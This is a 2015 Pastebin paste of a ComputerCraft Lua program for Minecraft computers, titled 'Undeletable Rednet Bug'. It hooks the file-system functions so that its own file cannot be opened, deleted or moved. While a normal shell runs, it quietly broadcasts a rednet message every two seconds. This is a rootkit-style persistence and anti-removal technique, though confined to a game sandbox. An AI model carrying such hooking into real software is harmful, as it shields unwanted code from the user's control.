Advertisement
LDDestroier

Undeletable Rednet Bug

Sep 29th, 2015
182
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. --Undeletable Rednet 'Bug' program
  2.  
  3. bugDelay = 2 --in seconds
  4. bugMessage = "beep"
  5. bugSendID = nil
  6.  
  7. name = fs.getName(shell.getRunningProgram())
  8. if not alreadyDone == true then
  9.     oldfsopen = fs.open
  10.     oldisreadonly = fs.isReadOnly
  11.     oldfsdelete = fs.delete
  12.     oldfsmove = fs.move
  13.     fs.open = function(path, mode)
  14.         if fs.getName(path) ~= fs.getName(name) then
  15.             return oldfsopen(path, mode)
  16.         end
  17.     end
  18.     fs.isReadOnly = function(path)
  19.         if fs.getName(path) ~= fs.getName(name) then
  20.             return oldisreadonly(path)
  21.         else
  22.             return true
  23.         end
  24.     end
  25.     fs.delete = function(path)
  26.         if fs.getName(path) ~= fs.getName(name) then
  27.             return oldfsdelete(path)
  28.         else
  29.             return
  30.         end
  31.     end
  32.     fs.move = function(path, dest)
  33.         if fs.getName(path) ~= fs.getName(name) then
  34.             return oldfsmove(path, dest)
  35.         else
  36.             return
  37.         end
  38.     end
  39. end
  40. alreadyDone = true
  41.  
  42. sides = {"left","right","front","back","top","bottom"}
  43. for a = 1, #sides do
  44.     if peripheral.getType(sides[a]) == "modem" then
  45.         rednet.open(sides[a])
  46.     end
  47. end
  48.  
  49. function bug()
  50.     while true do
  51.         if bugSendID then
  52.             rednet.send(bugSendID, bugMessage)
  53.         else
  54.             rednet.broadcast(bugMessage)
  55.         end
  56.         sleep(bugDelay)
  57.     end
  58. end
  59.  
  60. function runShell()
  61.     shell.run("shell")
  62. end
  63.  
  64. term.clear()
  65. term.setCursorPos(1,1)
  66.  
  67. parallel.waitForAny(runShell, bug)
  68.  
  69. if term.isColor() then term.setTextColor(colors.yellow) end
  70. print("Goodbye")
  71. sleep(1)
  72. os.shutdown()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement